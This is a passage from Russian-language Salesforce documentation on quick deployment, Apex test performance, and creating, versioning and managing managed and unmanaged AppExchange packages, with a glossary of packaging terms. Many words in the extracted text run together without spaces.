Выполнение быстрого развертывания посредством пользовательского интерфейса или API

Чтобы выполнить быстрое развертывание, сначала запустите проверочное развертывание с выполнением тестаApex для
развертываемого набора компонентов. Система позволяет выполнять быстрое развертывание только после успешного
завершения проверки.

При необходимости выполните быстрое развертывание проверенных наборов изменений и компонентов Metadata API
в пользовательском интерфейсе. Чтобы развернуть недавнюю проверку, нажмите кнопку «Быстрое развертывание»
напротив нужной проверки на странице «Статус развертывания» или на странице сведений о проверке. Данная кнопка
отображается только для соответствующих проверок.
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ПринеобходимостиначнитебыстроеразвертываниепосредствомMetadata APIилиForce.com Migration Toolдлякомпонентов
Metadata API (кроме наборов изменений). При использованииMetadata API рекомендуем вызвать
deployRecentValidation() и передать код проверки. При использовании Force.com Migration Tool рекомендуем
выполнить задачу <sf:deployRecentValidation>.

Прим.: Быстроеразвертываниедоступнонедавнимпроверкам, где успешновыполненывсе тестыApexисоблюдены
требования к покрытию кода. Обратите внимание на рекомендации ниже.

• В производственной среде быстрое развертывание поддерживается для проверок, соответствующих заданным
критериям. При необходимости разверните недавние проверки наборов изменений и компонентовMetadata
API (включая компоненты, проверенные посредством Force.com Migration Tool).

• В безопасной среде быстрое развертывание поддерживается только для проверок, которые явно включают
выполнение тестов (например, с помощью параметра testLevel для Migration Tool). По умолчанию тесты
Apex являются необязательными, поэтому не выполняются автоматически при развертывании в безопасной
среде. Быстроеразвертываниенеподдерживаетсядлянаборовизмененийвбезопаснойсреде, таккаквбезопасной
среде невозможно включить выполнение тестов для наборов изменений.

• Выполнение развертывания после проверки (посредством быстрого развертывания, установки пакета или
обычногоразвертывания) инициируетнесоответствие всехпроверок требованиямдлябыстрогоразвертывания.
Повторите проверку набора компонентов для быстрого развертывания.

Ресурсы настройки производительности для длительных тестов
При необходимости тесты Apex выполняются в ходе развертывания после обработки всех компонентов. Тесты Apex,
выполнение которых занимает слишком много времени, препятствуют завершению всего развертывания. Первые пять
длительных тестов, то есть первые пять тестов, которые выполняются более двух минут, помечаются для выполненного
развертывания на странице «Сведения о развертывании». При необходимости повысьте производительность данных
тестов для сокращения времени выполнения будущих развертываний. Низкая производительность может быть вызвана
многимипричинами. Например, использованиеданныхорганизациивзаментестовыхданныхилимедленноевыполнение
запросов SOQL и кода Apex. Ниже перечислены некоторые ресурсы, содержащие рекомендации по обеспечению
производительности для Apex и SOQL.
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• Изоляция тестовых данных от данных организации в поблочных тестах

• Работа со сверхбольшими запросами SOQL

• Вебинар: оптимизатор запросов Force.com

• Памятка по оптимизации запросов и поисков

• Вебинар: настройка производительности для Visualforce и Apex

• Основные ресурсы разработчика архитектуры

СМ. ТАКЖЕ:

Наборы входящих изменений

Наборы исходящих изменений

https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/

https://developer.salesforce.com/docs/atlas.en-us.daas.meta/daas/
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Создание и распространение пакетов приложений

Общие сведения о пакетировании и распространении

Данное руководство содержит сведения о создании и распространении пакетов приложений, разработанных на основе
платформы Force.com. Ниже перечислены доступные разделы.

Работа с пакетами
Данный раздел содержит сведения о создании и использовании управляемых пакетов, необходимые для быстрой
установки приложения в других организациях.

Распространение приложений
Данныйраздел содержит сведения о способах распространенияприложенийпосредством каталога AppExchange или
собственноговеб-сайта. Крометого, разделохватываетосновныеаспектыактивнойдоставкиобновленийподписчикам.

Поддержка подписчиков приложения
Данный раздел содержит сведения о способах входа в организации подписчиков для предоставления поддержки и
устранения неполадок.

Дополнительную информацию о данных разделах см. в Руководстве ISVforce или на партнерском портале Salesforce.
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Работа с пакетами

Общие сведения о пакетах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания пакетов:
• «Создание пакетов

AppExchange»

Для загрузки пакетов в
каталог AppExchange:
• «Передача пакетов

AppExchange»

Пакет — этоконтейнер, содержащийотдельныекомпонентыилисвязанныеприложения.
Созданный пакет может быть распространен среди пользователей и организаций
Salesforce, в том числе за пределами компании.

Пакеты могут быть неуправляемыми и управляемыми.

Неуправляемые пакеты
Неуправляемые пакеты предназначены для распространения бесплатных проектов
или шаблонов приложений, предоставляющих разработчикам доступ к основным
стандартным блокам приложения. Компоненты, установленные из неуправляемого
пакета, могут быть изменены в организации-установщике. Разработчик, создавший
изагрузившийнеуправляемыйпакет, неможетизменять, обновлятьиконтролировать
установленные компоненты. Неуправляемые пакеты не могут использоваться для
переноса компонентов из безопасной среды в производственную организацию.
Взамен, рекомендуем использовать наборы изменений.

Управляемые пакеты
Управляемые пакеты используются партнерами Salesforce для распространения и
продажиприложенийклиентам. Данныепакетыдолжныбытьсозданыворганизации
Developer Edition. Используя каталог AppExchange и приложение для управления
лицензиями (LMA), разработчики могут продавать и управлять лицензиями на
приложение. Управляемые пакеты доступны для полного обновления. Некоторые
деструктивные изменения (например, удаление объектов или полей) не могут быть
выполнены.

Ниже перечислены преимущества управляемых пакетов.

• Защита интеллектуальной собственности для Apex

• Встроенное управление версиями для доступных компонентов API

• Возможность перехода и исправления предыдущей версии

• Возможность беспрепятственной активной доставки исправлений подписчикам

• Присвоение уникальных имен всем компонентам с целью успешной установки

Ниже перечислены термины и их определения.

Компоненты
Компонент — это составная часть пакета. Компонент определяет элемент (например, настраиваемый объект или
настраиваемое поле). Пакет позволяет комбинировать компоненты с целью создания эффективных функций или
приложений. Компоненты неуправляемых пакетов не могут быть обновлены. Управляемые пакеты поддерживают
обновление только некоторых компонентов.

Атрибуты
Атрибут — этополе компонента (например, имяшаблона эл. почтыилифлажокнастраиваемогообъекта «Разрешить
отчеты»). Атрибуты необновляемого компонента любого пакета могут редактироваться разработчиком (создатель
пакета) и подписчиком (установщик пакета). Некоторые атрибуты обновляемого компонента управляемого пакета
могутредактироватьсяразработчиком, другие атрибутымогутредактироватьсяподписчиком, а третьи атрибутымогут
быть заблокированы и недоступны ни разработчику, ни подписчику.
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Пакеты содержат какминимумодин компонент Salesforce, который, в своюочередь, содержит какминимумодин атрибут.
Алгоритм компонентов и их атрибутов определяется типом пакета.

Прежде чем распространить приложение, рекомендуем применить пакетирование на этапе разработки. Например:

• При создании приложения выберите алгоритм компонентов и их атрибутов в разных пакетах и версиях Salesforce.

• При подготовке приложения к распространению выберите способ доступа клиентов к приложению.

• При установке пакета просмотрите лицензионные соглашения и соглашения о безопасности организации.

СМ. ТАКЖЕ:

Управление пакетами

Подготовка приложений к распространению

Глоссарий
Ниже перечислены термины и определения, которые могут использоваться в приложениях и пакетах.

Приложение
Приложение — этосовокупностькомпонентов (например, вкладки, отчеты, панелимониторингаистраницыVisualforce),
предназначеннаядлярешенияконкретнойбизнес-задачи. СистемаSalesforceподдерживаетстандартныеприложения
(например, Sales и Call Center). При необходимости стандартные приложения могут быть настроены в соответствии с
текущими бизнес-требованиями. Кроме того, приложение может быть добавлено в пакет и загружено в каталог
AppExchange вместе с другими связанными компонентами (например, настраиваемые поля, настраиваемые вкладки
илинастраиваемыеобъекты). ЧтобыпредоставитьдругимпользователямSalesforceдоступкприложению, рекомендуем
использовать каталог AppExchange.

AppExchange
AppExchange — это интерфейс общего доступа от компании Salesforce, позволяющийпросматривать и обмениваться
приложениями или услугами, разработанными на платформе Force.com.

Бета-версия, управляемый пакет
Бета-версия управляемогопакета — это ранняя версия управляемогопакета, доступная отдельнымпользователям для
тестирования.

Развернуть
Активация функции. Например, чтобы предоставить другим пользователям доступ к новымфункциям
пользовательского интерфейса Salesforce, рекомендуем выбрать значение «Развернуто».

Процесс перехода приложения или другой функции из среды разработки в производственную среду.

Перемещение компонентов метаданных из локальной файловой системы в организацию Salesforce.

Развертывание установленного приложения инициирует предоставление пользователям организации доступа ко
всем его настраиваемым объектам. Неразвернутый настраиваемый объект доступен только администраторам и
пользователям с полномочием «Настройка приложения».

Приложение для управления лицензиями (LMA)
БесплатноеприложениеAppExchange, позволяющееотслеживатьинтересыиорганизациидля каждогопользователя,
выполняющего загрузку управляемого пакета (приложения) из каталога AppExchange.

Организация по управлению лицензиями (LMO)
Организация Salesforce, используемая для отслеживания всех пользователей Salesforce, устанавливающих пакет.
Организация по управлению лицензиями должна использовать приложение для управления лицензиями. Данное
приложениеотправляетавтоматическиеуведомленияокаждойустановкеилиудалениипакета, чтопозволяетупростить
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процесс уведомленияпользователейобобновлениях. Любаяорганизация Enterprise Edition, Unlimited Edition, Performance
Edition или Developer Edition можетбытьвыбранав качествеорганизациипоуправлениюлицензиями. Дополнительную
информацию см. по ссылке http://www.salesforce.com/docs/en/lma/index.htm.

Основной выпуск
Важный выпуск пакета. Основной и дополнительный номера версии пакета увеличиваются на выбранное значение
при каждом основном выпуске.

Управляемый пакет
Совокупностькомпонентовприложения, опубликованныхвкаталогеAppExchange как единоецелое, а такжесвязанных
спространствомимениорганизациейпоуправлениюлицензиями. Обновленияподдерживаютсятолькоуправляемыми
пакетами. Организация может создать отдельный управляемый пакет, который может быть загружен и установлен
многими другими организациями. В отличие от неуправляемых пакетов, управляемые пакеты содержат компоненты,
которые могут быть заблокированы с целью обновления управляемого пакета. Неуправляемые пакеты не содержат
заблокированные компоненты и не могут быть обновлены. Кроме того, управляемые пакеты скрывают некоторые
компоненты (например, Apex) оторганизаций-подписчиковдлязащитыинтеллектуальнойсобственностиразработчика.

Расширение управляемого пакета
Любойпакет, компонентилинаборкомпонентов, которыйрасширяетфункциональныевозможностиуправляемого
пакета. Расширение может быть установлено только после установки соответствующего управляемого пакета.

Префикс пространства имен
Префикс пространства имен — это идентификатор, содержащий не более 15 символов и отличающий пакет и его
содержимоеотпакетовдругихразработчиковAppExchange. Префиксыпространстваименнечувствительныкрегистру.
Например, префиксы ABC и abc считаются одинаковыми. Префикс пространства имен должен быть глобально
уникальным во всех организациях Salesforce. Префикс пространства имен позволяет контролировать управляемый
пакет только соответствующему пользователю.

Пакет
Набор компонентов и приложений Force.com, доступный другим организациям в каталоге AppExchange. Пакеты
позволяютобъединять приложения со связаннымикомпонентамидля последующей загрузки в каталогAppExchange.

Зависимость пакета
Зависимость пакета создается в том случае, если один компонент ссылается на другой компонент, полномочие или
параметр, который должен существовать для того, чтобы исходный компонент был действительным. Возможные
компоненты:

• Стандартные или настраиваемые поля

• Стандартные или настраиваемые объекты

• страницы Visualforce

• Код Apex

Возможные полномочия и настройки:

• Подразделения

• Мультивалюта

• Типы записей

Установка пакета
ИнтеграциясодержимогопакетаворганизациюSalesforce. ПакетAppExchangeможетсодержатьприложение, компонент
илиих комбинацию. Чтобыпредоставитьпользователяморганизациидоступ к установленномупакету, рекомендуем
развернуть его компоненты.
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Версия пакета
Версия пакета — это номер, который определяет набор компонентов, загруженных в пакет. Для номера версии
используется следующийформат: основной_номер.дополнительный_номер.номер_исправления  (например, 2.1.3). Основной
идополнительныйномераувеличиваютсянавыбранноезначениеприкаждомосновномвыпуске. Значениепеременной
номер_исправления отображается и обновляется только для исправленного выпуска.

Неуправляемые пакеты не подлежат обновлению, поэтому версия пакета — это просто набор компонентов для
распространения. Версия управляемых пакетов имеет более важное значение. Доступные алгоритмы пакетов
определяютсяиспользуемойверсией.Версиипакетапозволяютиздателямизменятькомпонентыуправляемыхпакетов
путем выпуска последующих версий пакета без нарушения текущих интеграций, использующих пакет. Также см.
определения «Исправление» и «Организация по разработке исправления».

Исправление
Исправление позволяет разработчику изменить функции текущих компонентов управляемого пакета, а также
гарантирует отсутствие заметных изменений пакета в организациях подписчиков.Например, пользователь может
добавить новые переменные или изменить тело класса Apex, но не может добавить, объявить нерекомендуемым или
удалить любой из его методов.Исправления отслеживаются по номеру_исправления, добавляемому к каждой версии
пакета. Также см. определения «Организация по разработке исправления» и «Версия пакета».

Организация по разработке исправления
Организация, используемая для разработки, хранения и загрузки версий исправления. Организация по разработке
исправлениясоздаетсяавтоматическидляорганизацииразработчикаприполучениизапросанасозданиеисправления.
Также см. определения «Исправление» и «Версия пакета».

Исправленный выпуск
Незначительное обновление управляемого пакета. Номер версии исправления пакета увеличивается при каждом
исправленном выпуске.

Издатель
Издатель списка AppExchange — это пользователь или организация Salesforce, опубликовавшая список.

Активная доставка обновления
Методдоставкиобновлений, отправляющийобновленияустановленногоуправляемогопакетавовсесоответствующие
организации.

Подписчик
Подписчик — это пользователь Salesforce, установивший пакет в организацию Salesforce.

Тестовая версия
Тестовая версия — это полнофункциональная организация Salesforce, которая содержит приложение и примеры
любых записей, добавленные издателем отдельного пакета. Тестовая версия позволяет пользователям каталога
AppExchange использовать интерфейс Salesforce для знакомства с приложением.

Неуправляемый пакет
Пакет, который не может обновляться или контролироваться разработчиком.

Обновление
Обновлениепакета — этопроцесс установкиболееновойверсии. Система Salesforceпозволяетобновлятьуправляемые
пакеты, которые не являются бета-версиями.
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Загрузка
Загрузка пакета в систему Salesforce инициирует создание URL-адреса, позволяющего другим пользователям
устанавливать пакет. Кроме того, загруженный пакет может быть опубликован в каталоге AppExchange.

СМ. ТАКЖЕ:

Что такое приложение?

Создание управляемых пакетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

Загрузки и установки
пакетов доступны в версиях:
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения поддержки
управляемых пакетов:
• «Настройка

приложения»

Для создания пакетов:
• «Создание пакетов

AppExchange»

Для загрузки пакетов:
• «Загрузка пакетов

AppExchange»

Создание управляемого пакета аналогично созданию неуправляемого пакета.
Управляемый пакет может быть создан только в организации, использующей версию
Developer Edition.

Прежде чем создать управляемый пакет, выполните указанные ниже действия.

• При необходимости установите приложение License Management Application (LMA)
из каталогаhttp://sites.force.com/appexchange. Введите License Management App
вполепоиска. Приложение License Management Application (LMA)отслеживает данные
окаждомпользователе, устанавливающемприложение. Такимобразом, разработчики
могут отслеживать установленные версии и уведомлять пользователей о наличии
соответствующих обновлений.

Приложение License Management Application (LMA)может быть установлено в любую
организацию Salesforce, кромеорганизаций Personal Edition, Group Edition и Professional
Edition. Кроме того, данная организацияможет отличаться от организации Salesforce,
используемой для создания или загрузки пакета. Приложение License Management
Application (LMA) также позволяет управлять неограниченным количеством
управляемых пакетов в разных организациях Developer Edition.

• Настройтепараметрыразработчика. Параметрыразработчикаопределяютпрефикс
пространства имен, организацию Salesforce, использующую приложение License
Management Application (LMA), и неуправляемый пакет, который должен быть
преобразован в управляемый.

Общие сведения об управляемых пакетах

Настройка параметров разработчика

Регистрация префикса пространства имен

Выбор организации по управлению лицензиями

СМ. ТАКЖЕ:

Управление пакетами

Преобразование неуправляемых пакетов в управляемые

Настройка параметров разработчика

Регистрация префикса пространства имен

Выбор организации по управлению лицензиями
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Общие сведения об управляемых пакетах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

Загрузки и установки
пакетов доступны в версиях:
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Управляемыйпакет — этосовокупностькомпонентовприложения, котораяопубликована
в каталоге AppExchange как единое целое и связана с пространством имен, а также
организацией по управлению лицензиями.

• Создание и использование управляемого пакета доступно только в организации
Developer Edition.

• Ниже перечислены значки, используемые для обозначения управляемых пакетов.

– «Управляемый — бета-версия»

– «Управляемый — выпущенный»

– «Управляемый — установленный»

Настройка параметров разработчика

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

Загрузки и установки
пакетов доступны в версиях:
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
разработчика:
• «Настройка

приложения»

Для создания пакетов:
• «Создание пакетов

AppExchange»

Для загрузки пакетов:
• «Передача пакетов

AppExchange»

Параметрыразработчикаворганизации Developer Edition позволяютсоздаватьизагружать
отдельныеуправляемыепакетывкаталогAppExchange, предоставляядругимпользователям
возможностьустановкииобновленияпакетоввсобственныхорганизациях. Настроенные
параметры разработчика не могут быть изменены. Независимо от параметров
разработчика, пользователи могут всегда создавать неограниченное количество
неуправляемых пакетов.

Чтобы настроить параметры разработчика, выполните указанные ниже действия.

1. Введите строку «Пакеты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Пакеты».

2. Нажмите кнопку «Правка».

Прим.: Данная кнопка не отображается после настройки параметров
разработчика.

3. Просмотрите нужные выбранные параметры и нажмите кнопку «Продолжить».

4. Зарегистрируйте префикс пространства имен.

5. Выберите нужный пакет. Если нужный пакет отсутствует, пропустите данное поле.

6. Нажмите кнопку «Просмотреть выбранные параметры».

7. Нажмите кнопку «Сохранить».
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Совет: При необходимости укажите организацию по управлению лицензиями для управляемого пакета.
Дополнительную информацию см. на веб-узле http://sites.force.com/appexchange/publisherHome.

СМ. ТАКЖЕ:

Создание управляемых пакетов

Регистрация префикса пространства имен

Выбор организации по управлению лицензиями

Регистрация префикса пространства имен

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

Загрузки и установки
пакетов доступны в версиях:
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Префикспространства имен — это идентификатор, содержащийне более 15 символов
и отличающий пакет и его содержимое от пакетов других разработчиков AppExchange.
Префиксы пространства имен не чувствительны к регистру. Например, префиксы ABC
и abc считаются одинаковыми. Префикс пространства имен должен быть глобально
уникальным во всех организациях Salesforce. Префикс пространства имен позволяет
контролировать управляемый пакет только соответствующему пользователю.

Система Salesforce автоматически добавляет префикс пространства имен и два
последовательных символа подчеркивания ко всем уникальным именам компонентов
ворганизации Salesforce. Уникальныйкомпонентпакета — это компонент, имякоторого
отличается от имен других компонентов Salesforce (например, настраиваемые объекты,
настраиваемые поля, настраиваемые ссылки, элементы S-Control и правила проверки).
Например, еслипрефиксупространстваимен задано значение abc, а управляемыйпакет
содержит настраиваемый объект с API-именем Expense__c, то данный объект доступен
винтерфейсеAPIпосредствомAPI-имени abc__Expense__c. Префикспространстваимен
отображается на страницах сведений обо всех компонентах.

Внимание: Элементы S-Control, хранящиеся в библиотеке элементов S-Control или на вкладке «Документы» и не
использующие Force.com API, работают корректно даже после регистрации префикса пространства имен. Тем не
менее, элементы S-Control, хранящиеся вне организации, или элементы S-Control, использующие Force.com API для
вызова Salesforce, могут требовать более точной настройки. Дополнительную информацию см. в статье S-Control
раздела Object Reference.

Ниже перечислены требования, предъявляемые к префиксу пространства имен.

• Начинаться с буквы

• Содержать от 1 до 15 цифр и букв

• Не содержать двух последовательных символов подчеркивания

Чтобы зарегистрировать префикс пространства имен, выполните указанные ниже действия.

1. Введите строку «Пакеты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пакеты».

2. Нажмите кнопку «Правка».

Прим.: Данная кнопка не отображается после настройки параметров разработчика.

3. Просмотрите выбранные значения, необходимые для настройки параметров разработчика, и нажмите кнопку
«Продолжить».

4. Введите нужный префикс пространства имен.

5. Чтобы определить доступность префикса пространства имен, нажмите кнопку «Проверить доступность».
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6. При недоступности введенного префикса пространства имен повторите предыдущие два действия.

7. Нажмите кнопку «Просмотреть выбранные параметры».

8. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание управляемых пакетов

Настройка параметров разработчика

Выбор организации по управлению лицензиями

Выбор организации по управлению лицензиями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Developer Edition.

Загрузки и установки
пакетов доступны в версиях:
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Организация по управлению лицензиями — это организация Salesforce, используемая
для отслеживания всех пользователей Salesforce, установивших управляемый пакет.
Организация по управлению лицензиями получает уведомление (в форме записи
интереса) обустановкеилиудалениипакета, а такжеотслеживает загрузкикаждогопакета
в каталоге Force.com AppExchange.

Организацией по управлению лицензиями может быть любая организация Salesforce
версии Enterprise Edition, Unlimited Edition, Performance Edition или Developer Edition,
установившая бесплатное приложение для управления лицензиями из каталога
AppExchange.Чтобывыбратьорганизациюпоуправлениюлицензиями, воспользуйтесь
веб-узлом http://sites.force.com/appexchange/publisherHome.

СМ. ТАКЖЕ:

Создание управляемых пакетов

Настройка параметров разработчика

Регистрация префикса пространства имен
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Управление пакетами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки пакетов:
• «Передача пакетов

AppExchange»

Пакет — это набор компонентов и приложений Force.com, доступный другим
организациямпосредствомкаталогаAppExchange. Управляемыйпакет — этосовокупность
компонентов приложения, опубликованных в каталоге AppExchange как единое целое,
а также связанных с пространством имен и организацией по управлению лицензиями.
Обновления поддерживаются только управляемыми пакетами. Организация может
создать отдельный управляемый пакет, который может быть загружен и установлен
многими другими организациями. В отличие от неуправляемых пакетов, управляемые
пакеты содержат компоненты, которыемогут быть заблокированы с цельюобновления
управляемогопакета. Неуправляемыепакетынесодержат заблокированныекомпоненты
и не могут быть обновлены. Кроме того, управляемые пакеты скрывают некоторые
компоненты (например, Apex) от организаций-подписчиков для защиты
интеллектуальной собственности разработчика.

Для управления пакетами введите строку «Пакеты» в поле «Быстрый поиск», затем
выберите пункт «Пакеты». Дополнительную информацию см. в разделе «Настройка
параметров разработчика» на странице 5933.

В списке пакетов доступны следующие действия.

• Чтобы создать пакет, нажмите кнопку «Создать», введите имя и описание пакета, а
затем нажмите кнопку «Сохранить».

• Чтобы обновить свойства пакета, щелкните ссылку «Правка».

• Чтобы удалить пакет, щелкните ссылку «Удал.». Компоненты пакета не могут быть удалены.

• Чтобы просмотреть сведения о пакете, щелкните имя нужного пакета.

Прим.: Чтобыпроверить или выбрать организациюпо управлениюлицензиями (LMO) для выполненной загрузки,
нажмите кнопку «Перейти к AppExchange» на странице сведений о загрузке пакетов.

Общие сведения о версиях пакета

Создание пакета
Пакеты являются контейнерами для распространения настраиваемых функций в организациях Salesforce. Пакеты
можносоздаватьдля загрузкикомпонентов Lightning илиприложенийвинтернет-магазинAppExchangeиливнедрения
изменений в организациях.

Добавление компонентов в пакет

Компоненты, доступные в управляемых пакетах

Защищенные компоненты

Компоненты, добавляемые в пакеты автоматически

Редактирование компонентов и атрибутов после установки

Алгоритм компонента в пакетах
При созданииприложения, подлежащего распространению, заранее определитесь с выбором компонентов пакетов,
способов создания приложения и каналов распространения управляемых и неуправляемых пакетов.
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Общие сведения о наборах полномочий и параметрах профиля в пакетах
Наборы полномочий и параметры профиля позволяют разработчикам указывать полномочия и другие параметры
доступакпакету. Преждечемиспользоватьнаборыполномочий, параметрыпрофиляилиобакомпонента, рекомендуем
сопоставить их сходства и различия.

СМ. ТАКЖЕ:

Общие сведения о пакетах

Создание пакета

Общие сведения о версиях пакета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Developer Edition.

Загрузки и установки
пакетов доступны в версиях:
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Версия пакета — это номер, который определяет набор компонентов, загруженных в
пакет. Для номера версии используется следующийформат:
основной_номер.дополнительный_номер.номер_исправления  (например, 2.1.3). Основной и
дополнительныйномера увеличиваютсяна выбранное значениепри каждомосновном
выпуске. Значение переменной номер_исправления указывается и обновляется только в
случаевыпускаисправления.Неуправляемыепакетынеподлежатобновлению, поэтому
версия пакета — это просто набор компонентов для распространения. Версия
управляемых пакетов имеет более важное значение. Доступные алгоритмы пакетов
определяются используемой версией. Версии пакета позволяют издателям изменять
компоненты управляемых пакетов путем выпуска последующих версий пакета без
нарушения текущих интеграций, использующих пакет.

Номер версии зависит от типа выпуска пакета, который определяет способ его
распространения. Система поддерживает два типа выпуска.

Основной выпуск
Основной выпуск — это пакет со статусом «Управляемый — выпущенный».
Основной и дополнительный номера версии пакета увеличиваются на выбранное значение при каждом основном
выпуске.

Исправленный выпуск
Исправленный выпуск — это версия исправления пакета. Номер версии исправления пакета увеличивается при
каждом исправленном выпуске.

Если текущий подписчик устанавливает новую версию пакета, то пакет содержит только один экземпляр каждого
компонента, которыйможет эмулировать предыдущие версии. Например, подписчик может использовать управляемый
пакет, содержащий класс Apex. Если издатель объявляет метод класса Apex нерекомендуемыми выпускает новую версию
пакета, то подписчику будет доступен только один экземпляр класса Apex после установки новой версии. Тем не менее,
данный класс Apex может эмулировать предыдущую версию любого кода, ссылающегося на нерекомендуемый метод.

Разработчикипакетовмогутиспользовать условнуюлогикув классахитриггерахApexдляпримененияразныхалгоритмов
вразныхверсиях. Даннаяособенностьпозволяетразработчикампакетовпродолжатьиспользованиетекущихалгоритмов
в классах и триггерах предыдущих версий пакета при развертывании кода.

При разработке клиентских приложений посредством API рекомендуем указать версию каждого пакета, используемого
в интеграциях.

СМ. ТАКЖЕ:

Управление пакетами

Планирование выпуска управляемых пакетов
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Создание пакета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания пакетов:
• «Создание пакетов

AppExchange»

Пакеты являются контейнерами для распространения настраиваемых функций в
организациях Salesforce. Пакеты можно создавать для загрузки компонентов Lightning
или приложений в интернет-магазин AppExchange или внедрения изменений в
организациях.

1. Введите строку «Пакеты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Пакеты».

2. Нажмите кнопку «Создать».

3. Введите имя пакета. Данное имя может отличаться от имени, указанного в каталоге
AppExchange.

4. Выберите язык по умолчанию для всех меток компонентов, доступных в пакете, в
раскрывающемся меню «Язык».

5. При необходимости выберите настраиваемую ссылку в поле «Настроить
настраиваемую ссылку» для отображения установщикам приложения сведений о
конфигурации. Выберите предопределенную настраиваемую ссылку на URL-адрес
или элемент S-Сontrol, созданнуюдлямакетовначальнойстраницы (см. определение
«Параметр "Настроить"» на странице 5997). Настраиваемая ссылка отображается как
ссылка «Настроить» в системе Salesforceна странице загрузки Force.com AppExchange
и на странице сведений о приложении в организации установщика.

6. Принеобходимости заполните поле «Уведомить об ошибке Apex» именем пользователя, которому должно быть
отправлено электронное уведомление о возникновении ошибки в коде Apex, которая не может быть обнаружена
самим кодом Apex. В противном случае каждое необработанное исключение создает электронное уведомление,
которое отправляется в компанию Salesforce. Данный параметр доступен только для управляемых пакетов.

Прим.: Пакетирование Apex доступно только организациям Developer Edition, Enterprise Edition, Unlimited Edition
и Performance Edition.

7. Принеобходимостивведитеописаниепакета. Данноеописаниеможетбытьизмененоперед загрузкойпакета в каталог
AppExchange.

8. Принеобходимостиукажитесценарийпост-установки. ДанныйсценарийApexвыполняетсяворганизацииподписчика
послеустановкиилиобновленияпакета. Дополнительнуюинформациюсм. вразделе «Выполнение Apex приустановке
или обновлении пакета».

9. При необходимости укажите сценарий удаления. Данный сценарий Apex выполняется в организации подписчика
после удаления пакета. Дополнительную информацию см. в разделе «Выполнение Apex при удалении пакета».

10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Подготовка приложений к распространению
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Добавление компонентов в пакет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания пакетов:
• «Создание пакетов

AppExchange»

Созданныйпакетможетбытьдополненкомпонентами (например, приложения, объекты,
классыApexилистраницыVisualforce). Доступкданнымпакетамможетбытьпредоставлен
вчастномпорядкеиливсемпользователямпутемзагрузкивкаталогForce.com AppExchange.

Чтобы добавить компоненты в пакет, в разделе «Настройка» введите «Пакеты» в поле
«Быстрый поиск», затем выберите «Пакеты». Затем выберите имя пакета, к которому
вы хотите добавить компоненты. Ниже перечислены действия, доступные на странице
сведений о пакете.

1. Нажмите кнопку «Добавить компоненты».

2. Выберите нужный тип компонента в раскрывающемся списке.

• Чтобы просмотреть содержимое столбца сортировки, начинающееся с
определенной буквы, щелкните нужную букву вверху списка.

• Чтобыперейтик следующемуилипредыдущемунаборукомпонентов, щелкните
ссылку«Следующаястраница»или«Предыдущаястраница» (приихналичии).

• Чтобыпоказатьилискрытьдополнительныезаписи, щелкнитессылку «меньше»
или «больше» внизу списка (при их наличии).

3. Выберите нужные компоненты.

4. Нажмите кнопку «Добавить в пакет».

5. Чтобы добавить дополнительные компоненты в пакет, повторите данные действия.

СМ. ТАКЖЕ:

Управление пакетами

Подготовка приложений к распространению

Компоненты, доступные в управляемых пакетах
Некоторыекомпонентынеподдерживаютпакетированиесцельюраспространения. Компонентысозданногоприложения,
которые не являются пакетируемыми, должны создаваться и настраиваться подписчикамипосле установки приложения.
Чтобы упростить процесс установки, выполняемой подписчиками, помните о пакетируемых компонентах во время
разработки.

Таблицанижеотображает компоненты, доступныев управляемомпакете, а такжеопределяет возможностьихобновления
или удаления. Ниже перечислены разделы, описывающие столбцы таблицы и их значения.

Обновляемый
Новая версия некоторых компонентов устанавливается при обновлении пакета.

• Нет: компонент не обновляется.

• Да: компонент обновляется.

Удаляемый подписчиком
Подписчик или установщик пакета может удалить компонент.

• Нет: подписчик не может удалить компонент.

• Да: подписчик может удалить компонент.
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Удаляемый разработчиком
Разработчикможетудалитьнекоторыекомпонентыпосле загрузкипакета состатусом «Управляемый — выпущенный».
Удаленные компоненты не удаляются из организации подписчика при обновлении пакета. Атрибут «Защищаемый»
